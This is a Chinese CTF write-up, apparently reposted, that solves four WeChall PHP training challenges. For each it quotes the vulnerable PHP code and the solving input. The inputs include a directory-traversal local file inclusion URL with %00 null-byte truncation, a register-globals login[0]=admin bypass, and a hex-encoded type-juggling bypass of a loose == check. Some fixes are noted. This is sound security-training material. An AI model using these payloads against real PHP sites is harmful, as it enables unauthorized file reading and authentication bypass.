首页 > 代码库 > WeChall-PHP
WeChall-PHP
0x01 PHP 0817
1 <?php 2 if (isset($_GET[‘which‘])) 3 { 4 $which = $_GET[‘which‘]; 5 switch ($which) 6 { 7 case 0: 8 case 1: 9 case 2:10 require_once $which.‘.php‘;11 break;12 default:13 echo GWF_HTML::error(‘PHP-0817‘, ‘Hacker NoNoNo!‘, false);14 break;15 }16 }17 ?>
在$which变量后面会自动补上".php“,所以只要提交参数solution就可以了。
http://www.wechall.net/challenge/php0817/index.php?which=solution
0x02 Training: Register Globals
核心代码:
1 if (isset($login))2 {3 echo GWF_HTML::message(‘Register Globals‘, $chall->lang(‘msg_welcome_back‘, array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));4 if (strtolower($login[0]) === ‘admin‘) {5 $chall->onChallengeSolved(GWF_Session::getUserID());6 }7 }
如果开启了register globals的话,则可以在url上输入login[0]=admin来绕过前面的逻辑判断。可以给login[0]赋初值false让代码更安全。
0x03 Training: PHP LFI
1 $filename = ‘pages/‘.(isset($_GET["file"])?$_GET["file"]:"welcome").‘.html‘;
这里会默认在$file的前面和后面分别加上pages和.html。所以这样构造url,“../”跨目录,%00截断。
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00
0x04 PHP 0818
1 function noother_says_correct($number) 2 { 3 $one = ord(‘1‘); 4 $nine = ord(‘9‘); 5 # Check all the input characters! 6 for ($i = 0; $i < strlen($number); $i++) 7 { 8 # Disallow all the digits! 9 $digit = ord($number{$i});10 if ( ($digit >= $one) && ($digit <= $nine) )11 {12 # Aha, digit not allowed!13 return false;14 }15 }16 17 # Allow the magic number ...18 return $number == "3735929054";19 }
这个题目要求输入的$number要和3735929054相等,从上面的代码可以看出,输入的$number之中不能包含1-9之间的数字。在php中,数字型字符串在进行比较的时候会直接转换成数值来进行比较,所以就可以输入3735929054的hex值来bypass。这里要更安全更快的话,在return那里应该使用" === "。
WeChall-PHP
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。